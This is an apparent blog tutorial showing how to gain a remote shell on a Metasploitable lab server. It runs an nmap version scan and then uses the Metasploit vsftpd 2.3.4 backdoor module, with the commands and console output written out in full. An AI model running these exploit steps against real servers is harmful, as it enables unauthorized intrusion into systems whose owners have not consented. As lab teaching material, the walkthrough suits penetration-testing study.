Gaining Access a Web Server using FTP Backdoor

This article, presents you, how you can perform an attack to hack a Web server.



To perform to gain access to a webserver we need the following:

How to Gain access to a Server?

To Hack a Server we have to find out "Is there a Vulnerability in that machine?". You can think of that vulnerabilities as open doors to your system. Hackers leverage these open doors or vulnerabilities to gain access to any system.
After finding any vulnerability, then we perform Attack.


Steps to Gain Access

1. In this case, we are, of course, going to be attacking the Metasploit server, so make sure you start it up, check out the IP address of  Metasploitable. 


In this case, my IP address is 192.168.43.13.

2. To find vulnerabilities, Open the terminal and run the following command:

mrdev@kali:~$ nmap -sV 192.168.43.13
It will take time and after that, it will show ports.


After the scan we found a Vulnerability i.e. vsftpd 2.3.4.

3. Now start the Metasploit framework.

mrdev@kali:~$ msfconsole
4. Now search vsftpd.

msf6 > search vsftpd

This module exploits a malicious backdoor that was added to the vsftpd download archive. This backdoor was introduced in the vsftpd-2.3.4.tar.gz archive between June 30th, 2011 and July 1st, 2011 according to the most recent information available. This backdoor was removed on July 3rd, 2011.


4. To gain access use the following command:

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interect
msf6 exploit(exploit/unix/ftp/vsftpd_234_backdoor) > show options
msf6 exploit(exploit/unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.43.13
RHOSTS => 192.168.43.13
msf6 exploit(exploit/unix/ftp/vsftpd_234_backdoor) > exploit
And here it is, we got the command session, one opened on the target system.


Here you can type Linux command to access the file system of the target machine.

In this way, you can perform an attack on a server.




Post a Comment

0 Comments
* Please Don't Spam Here. All the Comments are Reviewed by Admin.

#buttons=(Ok, Go it!) #days=(20)

Our website uses cookies to enhance your experience. Learn More
Ok, Go it!